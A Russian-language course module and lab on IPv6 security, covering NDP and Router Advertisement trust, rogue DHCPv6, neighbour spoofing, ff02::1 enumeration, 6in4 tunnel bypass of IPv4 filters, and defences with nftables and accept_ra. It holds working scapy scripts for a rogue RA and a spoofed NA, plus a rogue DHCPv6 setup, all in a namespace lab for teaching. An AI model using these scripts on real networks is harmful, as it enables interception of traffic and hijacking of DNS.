Двойной стек, двойные двери: IPv6, NDP и RA

IPv6 проектировался с оглядкой на ошибки IPv4 ¹: адресного пространства больше, автоконфигурация встроена, широковещание заменено multicast. Но одну ошибку перенесли без изменений — соседство по-прежнему строится на неподтверждённых объявлениях. Neighbor Discovery заменил ARP, получил больше функций и сохранил главное свойство: любой узел в сегменте может объявить себя маршрутизатором, и соседи ему поверят.

Для атакующего IPv6 — это второй вход в ту же сеть. Организация может годами закрывать IPv4-периметр, не замечая, что на каждом хосте включён IPv6 и что маршрутизатор по умолчанию приходит по RA. Двойной стек означает двойную поверхность: правило, написанное для iptables, не действует на ip6tables, а туннель IPv6 поверх IPv4 проходит там, где IPv4-фильтр его не видит.

Тема 11 основной программы разбирала IPv6 как протокол: адреса, заголовок, SLAAC, DHCPv6. Здесь те же механизмы рассматриваются со стороны доверия: какие сообщения принимаются без проверки, что можно объявить, не имея на это права, и как двойной стек обходит фильтрацию. Границы: атаки на IPv4 L2 — тема 02, туннели как транспорт — тема 06.

Тень базового курса: второй стек, который никто не выключал

В основной программе IPv6 выглядел как естественное продолжение: адрес длиннее, заголовок проще, автоконфигурация удобнее. Удобство автоконфигурации — это и есть уязвимость. Узел, подключённый к сегменту, получает адрес, маршрут и DNS без участия администратора: достаточно, чтобы кто-то ответил на запрос маршрутизатора.

В IPv4 для этого нужен DHCP-сервер, и его можно поставить на доверенный порт. В IPv6 маршрутизатор объявляет себя сам, а коммутатор по умолчанию не проверяет, имеет ли отправитель RA право их рассылать. Отсюда типичная картина: IPv4-периметр настроен, журналы собираются, а IPv6-трафик идёт мимо всего этого.

NDP: замена ARP с теми же болезнями

RS, RA, NS, NA и DAD

Neighbor Discovery определён в RFC 4861 и работает поверх ICMPv6 ². Пять типов сообщений покрывают всё:

• Router Solicitation (RS, тип 133) — узел спрашивает, есть ли маршрутизаторы;
• Router Advertisement (RA, тип 134) — маршрутизатор объявляет префикс, маршрут по умолчанию, флаги и параметры;
• Neighbor Solicitation (NS, тип 135) — «у кого этот адрес?»;
• Neighbor Advertisement (NA, тип 136) — «это у меня»;
• Redirect (тип 137) — «ходи к цели через другой шлюз».

Автоконфигурация: узел формирует link-local адрес из MAC (EUI-64) или по RFC 7217, проверяет его уникальность через Duplicate Address Detection (DAD) и, получив RA с префиксом, строит глобальный адрес ³. Флаг A разрешает SLAAC, флаг M требует DHCPv6, флаг O разрешает получить «прочие» параметры по DHCPv6.

sysctl net.ipv6.conf.eth0.accept_ra
sysctl net.ipv6.conf.eth0.autoconf
ip -6 addr show dev eth0
ip -6 neigh show dev eth0

net.ipv6.conf.eth0.accept_ra = 1
net.ipv6.conf.eth0.autoconf = 1
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP>
    inet6 2001:db8:1::10/64 scope global dynamic
    inet6 fe80::42:acff:fe11:a/64 scope link

Состояния соседей в IPv6 похожи на IPv4, но таймеры свои: reachable_time (по умолчанию 30 секунд) и retrans_timer (1 секунда) приходят в RA. Именно они определяют, как долго поддельная запись живёт без подтверждения.

Где NDP доверяет

NDP не аутентифицирует соседа. NA принимается, если адрес совпадает с запрошенным или если это unsolicited-объявление; DAD пропускает адрес, если на NS никто не ответил. Отсюда три классические атаки: поддельный NA, поддельный RA и блокировка DAD.

DAD-атака проста: атакующий отвечает на каждый NS, будто адрес занят, и узел не может назначить адрес. Это отказ в обслуживании, но он же мешает и защите: узел без адреса не попадёт в журналы.

Подставной RA и захват маршрута

RA с префиксом и RDNSS

RA содержит префикс, длину, флаги, время жизни, MTU и опционально RDNSS — адреса DNS-серверов ⁴. Узел принимает RA от любого источника, если не включён RA guard, и обновляет маршрут по умолчанию на объявившего.

from scapy.all import Ether, IPv6, ICMPv6ND_RA, ICMPv6NDOptPrefixInfo, \
    ICMPv6NDOptRDNSS, sendp

ra = (Ether(dst="33:33:00:00:00:01") /
      IPv6(src="fe80::1", dst="ff02::1") /
      ICMPv6ND_RA(chlim=64, routerlifetime=1800, prf=0x08) /
      ICMPv6NDOptPrefixInfo(prefixlen=64, prefix="2001:db8:1::",
                            L=1, A=1, validlifetime=7200,
                            preferredlifetime=3600) /
      ICMPv6NDOptRDNSS(dns="2001:db8:1::66", lifetime=1800))
sendp(ra, iface="eth0", loop=1, inter=5)

Разбор: chlim=64 задаёт hop limit для исходящего трафика, routerlifetime=1800 — сколько жить маршруту, prf=0x08 — высокий приоритет (в scapy кодируется полем preference), опция префикса с A=1 разрешает SLAAC, RDNSS подменяет DNS. Узел, получивший такой RA, отправит весь внешний трафик на fe80::1 — адрес атакующего — и будет разрешать имена через его DNS.

Захват проверяется на жертве:

ip -6 route show default
ip -6 addr show dev eth0
cat /etc/resolv.conf

Маршрут по умолчанию указывает на fe80::1, появился адрес из 2001:db8:1::/64, DNS — 2001:db8:1::66.

DHCPv6 и флаги M и O

DHCPv6 (RFC 8415) работает поверх UDP 546/547 и не имеет встроенной аутентификации ⁵. Флаг M в RA означает «адрес выдаёт DHCPv6», флаг O — «прочие параметры по DHCPv6». Подставной сервер отвечает быстрее настоящего и выдаёт свой пул, свой DNS и свой домен поиска.

# подставной DHCPv6-сервер в лаборатории
dnsmasq --no-daemon --interface=eth0 --bind-interfaces \
  --dhcp-range=2001:db8:1::100,2001:db8:1::150,1h \
  --dhcp-option=option6:dns-server,[2001:db8:1::66]

Комбинация RA + DHCPv6 даёт полный контроль над маршрутом и именами. Именно поэтому в защите RA guard и DHCPv6 snooping ставятся вместе: по отдельности каждый закрывает только половину.

Атаки на соседство и адреса

NDP-спуфинг и переполнение кеша

NDP-спуфинг повторяет ARP-спуфинг: поддельный NA связывает чужой адрес с MAC атакующего. Отличие в том, что NA можно отправить в unicast конкретному узлу, и он не будет виден остальным — перехват становится точечным.

Переполнение neighbor-кеша — аналог переполнения ARP-таблицы: поток NS с разными адресами забивает nd_tbl, и новые разрешения вытесняют старые. В Linux размер регулируется net.ipv6.neigh.default.gc_thresh*; при достижении порога ядро начинает отбрасывать записи, и часть трафика идёт через повторное разрешение.

sysctl net.ipv6.neigh.default.gc_thresh1 net.ipv6.neigh.default.gc_thresh2
ip -6 neigh show | wc -l

Сканирование ff02::1 и шаблоны адресов

В IPv6 нет широковещания, но есть multicast-группа всех узлов ff02::1. Эхо-запрос на неё получают все узлы сегмента, и каждый отвечает — это самый быстрый способ перечислить соседей.

ping -6 -c 2 ff02::1%eth0
nmap -6 -sn ff02::1%eth0

Дальше — шаблоны. Адреса из SLAAC часто содержат MAC (EUI-64), и по OUI можно угадать производителя. Адреса из DHCPv6 выдаются последовательно, поэтому перебор ::100–::1ff находит клиентов. Стабильные приватные адреса (RFC 7217) ломают оба шаблона, но не мешают опросу multicast.

Обход двойного стека

Туннели 6to4, Teredo, ISATAP

Переходные механизмы позволяют нести IPv6 через IPv4. 6to4 инкапсулирует IPv6 в IPv4 с протоколом 41, Teredo — в UDP/3544, ISATAP — в IPv4 с протоколом 41 внутри сети. Для фильтрации это означает, что IPv6-трафик может проходить там, где правила написаны только для TCP и UDP.

ip tunnel add tun0 mode sit remote 198.51.100.7 local 192.0.2.10
ip link set tun0 up
ip -6 addr add 2001:db8:2::10/64 dev tun0
ip -6 route add default dev tun0

mode sit — это 6in4: IPv6 инкапсулируется в IPv4 с номером протокола 41 ⁸. Режим ip6ip6 здесь не подходит: он несёт IPv6 внутри IPv6 и требует IPv6-адресов на обоих концах туннеля. Туннель поднимает IPv6-связность поверх IPv4, и весь IPv6-трафик идёт через узел, который его терминирует. С точки зрения периметра это исходящее соединение, которое почти никогда не проверяется.

Фрагментация, RH0 и atomic fragments

IPv6-фрагментация выполняется только отправителем; маршрутизаторы её не дробят. Расширяющий заголовок фрагментации (тип 44) позволяет отправлять крошечные фрагменты, которые часть фильтров не собирает. RFC 6980 прямо запрещает использовать фрагментацию в NDP и рекомендует отбрасывать такие сообщения ⁷.

Routing Header Type 0 (RH0) исторически позволял задать список промежуточных адресов и был запрещён RFC 5095 из-за усиления атак. Современные стеки его отбрасывают, но старые устройства — нет; проверка sysctl net.ipv6.conf.all.accept_source_route показывает настройку.

IPv4 закрыт, IPv6 открыт

Самая частая реальная картина: межсетевой экран фильтрует IPv4, а IPv6 на том же интерфейсе либо не настроен, либо настроен «чтобы работало». Проверка начинается с вопроса, есть ли у узла IPv6-адрес и маршрут:

ip -6 addr show
ip -6 route show
curl -6 -s -o /dev/null -w "%{http_code}\n" http://[2001:db8:1::20]/

Если IPv6-связность есть, а правил для неё нет, фильтрация обходится не взломом, а тем, что её просто не применяли ко второму стеку.

Обнаружение и защита

Общие рекомендации по защите IPv6 собраны в RFC 9099 ⁶; ниже — минимальный набор, который проверяется в лабораторной.

Правило nftables для блокировки RA от недоверенных источников:

nft add table ip6 filter
nft add chain ip6 filter input '{ type filter hook input priority 0; policy drop; }'
nft add rule ip6 filter input icmpv6 type nd-router-advert \
  ip6 saddr != fe80::1 drop
nft add rule ip6 filter input icmpv6 type nd-router-advert accept

Вторая строка разрешает RA только от настоящего маршрутизатора; порядок правил важен, потому что первое совпадение завершает обработку.

Итоги темы

IPv6 унаследовал от IPv4 главную слабость — доверие к соседям — и добавил к ней автоконфигурацию, которая делает атаку на маршрут тривиальной. Подставной RA с префиксом и RDNSS перехватывает и трафик, и имена; DHCPv6 дополняет картину.

Двойной стек превращает поверхность атаки в произведение двух поверхностей. Правило, написанное для одного протокола, не действует на другой; туннель несёт IPv6 через IPv4 и обходит фильтр, который смотрит только на TCP и UDP. Защита начинается с инвентаризации: где включён IPv6, кто рассылает RA, какие переходные механизмы разрешены.

Следующая тема спускается ещё ниже — к подделке пакетов и атакам на TCP, где доверие к заголовку становится инструментом.

Литература

1. Deering S., Hinden R. Internet Protocol, Version 6 (IPv6) Specification. — RFC 8200, IETF, 2017. https://www.rfc-editor.org/rfc/rfc8200
2. Narten T., Nordmark E., Simpson W., Soliman H. Neighbor Discovery for IP version 6 (IPv6). — RFC 4861, IETF, 2007. https://www.rfc-editor.org/rfc/rfc4861
3. Thomson S., Narten T., Jinmei T. IPv6 Stateless Address Autoconfiguration. — RFC 4862, IETF, 2007. https://www.rfc-editor.org/rfc/rfc4862
4. Jeong J., Park S., Beloeil L., Madanapalli S. IPv6 Router Advertisement Options for DNS Configuration. — RFC 8106, IETF, 2017. https://www.rfc-editor.org/rfc/rfc8106
5. Mrugalski T., Siodelski M., Volz B., et al. Dynamic Host Configuration Protocol for IPv6 (DHCPv6). — RFC 8415, IETF, 2018. https://www.rfc-editor.org/rfc/rfc8415
6. Chown T., Arkko J., Brandt A., et al. IPv6 Security Considerations and Recommendations. — RFC 9099, IETF, 2021. https://www.rfc-editor.org/rfc/rfc9099
7. Krishnan S. Security Implications of IPv6 Fragmentation with IPv6 Neighbor Discovery. — RFC 6980, IETF, 2013. https://www.rfc-editor.org/rfc/rfc6980
8. Nordmark E., Gilligan R. Basic Transition Mechanisms for IPv6 Hosts and Routers. — RFC 4213, IETF, 2005. https://www.rfc-editor.org/rfc/rfc4213

Дополнительные материалы

Вопросы для самопроверки

1. Почему Neighbor Discovery понадобился отдельный протокол вместо расширения ARP?
2. Какие функции RA выходят за пределы маршрутизации?
3. Как DAD определяет занятость адреса и что произойдёт при поддельном ответе?
4. Чем NDP-спуфинг опаснее ARP-спуфинга при точечной отправке?
5. Почему переполнение neighbor-кеша влияет на всю сеть, а не только на атакующего?
6. Как отличить адрес SLAAC от адреса DHCPv6 по виду?
7. Что даёт опрос ff02::1 и почему он не считается широковещанием?
8. Почему 6to4 и Teredo считаются обходом фильтрации, а не просто технологией перехода?
9. Что делает расширяющий заголовок фрагментации и почему его блокируют?
10. Почему правило «запретить всё, кроме нужного» для IPv4 не работает автоматически для IPv6?
11. Как проверить, что RA guard действительно включён, а не просто настроен?
12. Что важнее для защиты: отключить IPv6 или настроить его так же, как IPv4?

Глоссарий темы

NDP — Neighbor Discovery Protocol, набор сообщений ICMPv6 для соседства, маршрутизации и автоконфигурации.

RA — Router Advertisement, объявление маршрутизатора о префиксе, маршруте и параметрах.

RS — Router Solicitation, запрос маршрутизатора.

DAD — Duplicate Address Detection, проверка уникальности адреса перед назначением.

SLAAC — Stateless Address Autoconfiguration, формирование адреса из префикса RA.

RDNSS — опция RA с адресами DNS-серверов.

RA guard — функция коммутатора, отбрасывающая RA с недоверенных портов.

ND inspection — проверка сообщений соседства на коммутаторе.

SEND — Secure Neighbor Discovery, криптографическая защита NDP, редко разворачивается.

RH0 — Routing Header Type 0, запрещённый механизм маршрутизации от источника.

Шпаргалка по инструментам

Что почитать и посмотреть

• RFC 4861 — основной документ NDP: форматы сообщений, таймеры, правила приёма.
• RFC 4862 — SLAAC и DAD: почему адрес назначается не сразу.
• RFC 8106 — RDNSS: как DNS попадает в узел без DHCP.
• RFC 8415 — DHCPv6: сообщения, опции, взаимодействие с RA.
• RFC 9099 — обзор угроз IPv6 и рекомендации по защите; полезен как чек-лист.
• RFC 6980 — почему фрагментация в NDP опасна и что с ней делать.

Углубление

RA и несколько маршрутизаторов. Если в сегменте два RA-источника, узел выбирает маршрут по правилам предпочтения и времени жизни. Подставной RA с высоким приоритетом и коротким интервалом вытесняет настоящий, но при падении атакующего маршрут исчезает — это заметно по потере связности.

SEND и почему он не прижился. SEND защищает NDP криптографически, но требует сертификатов на каждом узле и поддержки в коммутаторах. На практике чаще ставят RA guard и ND inspection, а SEND остаётся академическим вариантом.

IPv6 в облаке. Многие облачные сети по умолчанию выдают IPv6-адреса и разрешают исходящие соединения. Это значит, что правило egress-фильтра, написанное для IPv4, не покрывает половину трафика. Проверка — ip -6 route и тестовое соединение по IPv6.

Туннели и обнаружение. Инкапсуляция оставляет след: протокол 41 в IPv4, UDP 3544 у Teredo, необычный размер пакетов. Детектор туннелей строится на этих признаках, а не на содержимом, которое зашифровано.

Лабораторная работа 3. Двойной стек, двойные двери

• Раздел курса: апокриф 3 «Двойной стек, двойные двери: IPv6, NDP и RA»

Введение

Работа показывает, как IPv6-сегмент выдаёт маршрут и имена тому, кто первым объявит себя маршрутизатором. Сначала собирается штатная конфигурация со SLAAC и RA от настоящего маршрутизатора, затем та же сеть получает подставной RA, подставной DHCPv6 и NDP-спуфинг. В конце ставится защита, и каждый приём проверяется повторно.

Все адреса — из документационного префикса 2001:db8::/32. Среда — пространства имён; IPv6 в них работает без дополнительной настройки.

Цель работы

После выполнения работы получится:

• поднять IPv6-сегмент с маршрутизатором и двумя хостами;
• объяснить формирование link-local и глобального адреса, а также роль DAD;
• разобрать RA по полям и показать, какие параметры меняют поведение узла;
• поднять подставной RA и перехватить маршрут по умолчанию и DNS;
• выполнить NDP-спуфинг и подтвердить перехват захватом;
• перечислить узлы через ff02::1 и найти адреса по шаблону;
• провести IPv6-трафик через IPv4-фильтр с помощью туннеля;
• настроить фильтрацию RA и DHCPv6 и проверить, что приёмы перестают работать.

Теоретический минимум

Разделы теории «NDP: замена ARP с теми же болезнями», «Подставной RA и захват маршрута», «Атаки на соседство и адреса» и «Обход двойного стека».

Перечень оснащения

Уровень воспроизводимости: 1 — пространства имён; для туннеля нужен модуль sit.

Linux с iproute2, nftables, python3, scapy, radvd, dnsmasq, tshark. Всё в unshare -rnm. Если radvd нет, RA рассылается скриптом из части 2 — это допустимая замена, но тогда в журнале отмечается, что штатный демон не использовался.

Порядок выполнения работы

unshare -rnm --propagation private bash
mount -t tmpfs none /run
mkdir -p /run/netns
sysctl -w net.ipv6.conf.all.forwarding=1

Часть 1. Сегмент с двойным стеком

Задание

Создать мост br0, пространства r1, h1, h2. На r1 назначить 2001:db8:1::1/64 и fe80::1 (link-local формируется автоматически, но для предсказуемости задать явно), на h1 и h2 оставить автоконфигурацию.

ip link add br0 type bridge
ip link set br0 up

for n in r1 h1 h2; do
  ip netns add $n
  ip link add veth-$n type veth peer name eth0 netns $n
  ip link set veth-$n master br0
  ip link set veth-$n up
  ip netns exec $n ip link set lo up
  ip netns exec $n ip link set eth0 up
done

ip netns exec r1 ip -6 addr add 2001:db8:1::1/64 dev eth0
ip netns exec r1 sysctl -w net.ipv6.conf.all.forwarding=1

Штатный RA-сервер:

cat > /tmp/radvd.conf <<'EOF'
interface eth0 {
    AdvSendAdvert on;
    MinRtrAdvInterval 5;
    MaxRtrAdvInterval 10;
    AdvDefaultLifetime 1800;
    prefix 2001:db8:1::/64 {
        AdvOnLink on;
        AdvAutonomous on;
    };
    RDNSS 2001:db8:1::1 { AdvRDNSSLifetime 300; };
};
EOF
ip netns exec r1 radvd -C /tmp/radvd.conf -n &

Что должно получиться

У h1 и h2 появились глобальные адреса из 2001:db8:1::/64 и маршрут по умолчанию через fe80::1. ip -6 neigh показывает соседей в состоянии REACHABLE. Записать в журнал, сколько времени прошло от запуска до появления адреса.

Часть 2. Разбор RA и DAD

Задание

Снять RA и разобрать поля:

ip netns exec h1 tshark -i eth0 -f "icmp6" -a duration:15 -w ra.pcap &
sleep 1
ip netns exec h2 ip -6 addr flush dev eth0 scope global
wait
tshark -r ra.pcap -Y "icmpv6.type==134" -V | head -60

Найти в выводе: hop limit, router lifetime, флаги M и O, префикс, valid lifetime, preferred lifetime, RDNSS.

Затем посмотреть DAD:

tshark -r ra.pcap -Y "icmpv6.type==135" -T fields -e ipv6.src -e ipv6.dst -e icmpv6.nd.ns.target_address

Что должно получиться

Таблица «поле RA — значение — на что влияет». Отдельно объяснить, почему DAD-запрос идёт с неназначенного адреса :: и что произойдёт, если на него ответят.

Часть 3. Подставной RA

Задание

Остановить radvd на r1 и отправить RA от имени fe80::1 с префиксом 2001:db8:dead::/64 и DNS 2001:db8:dead::66:

# rogue_ra.py
from scapy.all import Ether, IPv6, ICMPv6ND_RA, ICMPv6NDOptPrefixInfo, \
    ICMPv6NDOptRDNSS, sendp
import time

ra = (Ether(dst="33:33:00:00:00:01") /
      IPv6(src="fe80::1", dst="ff02::1") /
      ICMPv6ND_RA(chlim=64, routerlifetime=1800) /
      ICMPv6NDOptPrefixInfo(prefixlen=64, prefix="2001:db8:dead::",
                            L=1, A=1, validlifetime=7200,
                            preferredlifetime=3600) /
      ICMPv6NDOptRDNSS(dns="2001:db8:dead::66", lifetime=1800))

while True:
    sendp(ra, iface="eth0", verbose=False)
    time.sleep(5)

Запустить на h1 (или в отдельном пространстве evil, подключённом к мосту), подождать и проверить:

ip -6 addr show dev eth0
ip -6 route show default
cat /etc/resolv.conf

Что должно получиться

У жертвы появился адрес из 2001:db8:dead::/64, маршрут по умолчанию указывает на fe80::1, DNS заменён. Объяснить, почему старый адрес не исчез сразу: время жизни префикса и предпочтительность.

Часть 4. NDP-спуфинг

Задание

Отправить поддельный NA, связывающий адрес 2001:db8:1::1 с MAC атакующего:

from scapy.all import Ether, IPv6, ICMPv6ND_NA, ICMPv6NDOptDstLLAddr, sendp
import time

na = (Ether(dst="33:33:00:00:00:01") /
      IPv6(src="fe80::1", dst="ff02::1") /
      ICMPv6ND_NA(tgt="2001:db8:1::1", R=1, S=1, O=1) /
      ICMPv6NDOptDstLLAddr(lladdr="02:42:ac:11:00:66"))

while True:
    sendp(na, iface="eth0", verbose=False)
    time.sleep(2)

Проверить таблицу соседей жертвы и захватить трафик:

ip netns exec h1 ip -6 neigh show 2001:db8:1::1
ip netns exec h1 tshark -i eth0 -f "icmp6" -a duration:10 -w ndp.pcap &

Что должно получиться

Запись 2001:db8:1::1 у жертвы указывает на MAC атакующего; трафик к маршрутизатору идёт через него. Объяснить, чем NDP-спуфинг отличается от ARP-спуфинга по заметности: NA можно отправить в unicast, и остальные узлы ничего не увидят.

Часть 5. Перечисление узлов

Задание

Опросить ff02::1 и найти адреса по шаблону:

ip netns exec h1 ping -6 -c 2 ff02::1%eth0
ip netns exec h1 nmap -6 -sn ff02::1%eth0
for i in $(seq 1 20); do
  ip netns exec h1 ping -6 -c 1 -W 1 "2001:db8:1::$i" >/dev/null 2>&1 && echo "2001:db8:1::$i"
done

Что должно получиться

Multicast-опрос находит все узлы сегмента; шаблонный перебор — только те, чей адрес попал в диапазон. Объяснить, почему SLAAC-адреса хуже поддаются шаблону, чем адреса DHCPv6, и что меняют стабильные приватные адреса.

Часть 6. Туннель через IPv4-фильтр

Задание

Собрать два сегмента, соединённых IPv4-маршрутизатором с правилом, запрещающим IPv6. Поднять туннель 6in4 (mode sit) между узлами и провести IPv6-трафик:

# на узле A
ip tunnel add tun0 mode sit remote 198.51.100.2 local 192.0.2.10
ip link set tun0 up
ip -6 addr add 2001:db8:2::1/64 dev tun0

# на узле B
ip tunnel add tun0 mode sit remote 192.0.2.10 local 198.51.100.2
ip link set tun0 up
ip -6 addr add 2001:db8:2::2/64 dev tun0

Проверить связность и снять захват на транзитном звене:

ping -6 -c 3 2001:db8:2::2
tshark -i eth1 -f "ip proto 41" -a duration:10 -w tunnel.pcap

Что должно получиться

IPv6-связность работает, хотя IPv6-правил на транзитном маршрутизаторе нет; в захвате видны IPv4-пакеты с протоколом 41. Сформулировать, какое правило egress-фильтра ломает приём.

Часть 7. Защита: RA guard и DHCPv6

Задание

Поставить правило, разрешающее RA только от fe80::1:

nft add table ip6 filter
nft add chain ip6 filter input '{ type filter hook input priority 0; policy drop; }'
nft add rule ip6 filter input icmpv6 type nd-router-advert ip6 saddr != fe80::1 drop
nft add rule ip6 filter input icmpv6 type nd-router-advert accept
nft add rule ip6 filter input icmpv6 type nd-neighbor-solicit accept
nft add rule ip6 filter input icmpv6 type nd-neighbor-advert accept

Повторить подставной RA и проверить, что маршрут жертвы не меняется. Для DHCPv6 — разрешить UDP 547 только с адреса настоящего сервера.

Что должно получиться

RA от чужого адреса отбрасывается, маршрут остаётся прежним. Записать, почему правило по адресу источника хуже RA guard на коммутаторе: адрес можно подделать, а порт — нет.

Часть 8. Найти и исправить ошибку

Задание

Дан скрипт, который должен блокировать RA, но пропускает их:

from scapy.all import sniff, ICMPv6ND_RA, sendp, Ether, IPv6, ICMPv6ND_RA

def handle(pkt):
    if ICMPv6ND_RA in pkt and pkt[IPv6].src != "fe80::1":
        print("rogue RA", pkt[IPv6].src)

sniff(iface="eth0", filter="icmp6", prn=handle)

Скрипт только печатает адрес, но не мешает узлу принять RA. Исправить двумя способами: правилом nftables (до доставки) и настройкой accept_ra=0 на интерфейсе, где RA не нужны. Объяснить, почему пользовательский сниффер в принципе не может надёжно заблокировать пакет.

Что должно получиться

Работающее правило и запись net.ipv6.conf.eth0.accept_ra = 0, а также объяснение разницы между наблюдением и фильтрацией.

Журнал работы

Контрольные вопросы

1. Почему IPv6-узел принимает RA без аутентификации и что изменилось бы при SEND?
2. Какие поля RA определяют маршрут по умолчанию и время его жизни?
3. Что делают флаги M и O и почему их подмена опасна?
4. Чем DAD-атака отличается от NDP-спуфинга по цели?
5. Почему опрос ff02::1 находит все узлы, а шаблонный перебор — не все?
6. Как стабильные приватные адреса (RFC 7217) мешают перечислению?
7. Почему туннель 6in4 проходит через IPv4-фильтр и как его остановить?
8. Что такое atomic fragments и почему RFC 6980 их запрещает в NDP?
9. Почему RA guard на коммутаторе надёжнее правила по адресу источника?
10. Какие признаки подставного RA видны в захвате, а какие — только в журнале маршрутизатора?
11. Почему DHCPv6 без snooping сводит на нет RA guard?
12. Что проверять в первую очередь при аудите двойного стека?

Уборка

pkill -f rogue_ra.py
pkill -f radvd
pkill tshark
nft delete table ip6 filter 2>/dev/null
ip -6 tunnel del tun0 2>/dev/null
for n in r1 h1 h2 evil; do ip netns del $n 2>/dev/null; done
ip link del br0 2>/dev/null
rm -f ra.pcap ndp.pcap tunnel.pcap /tmp/radvd.conf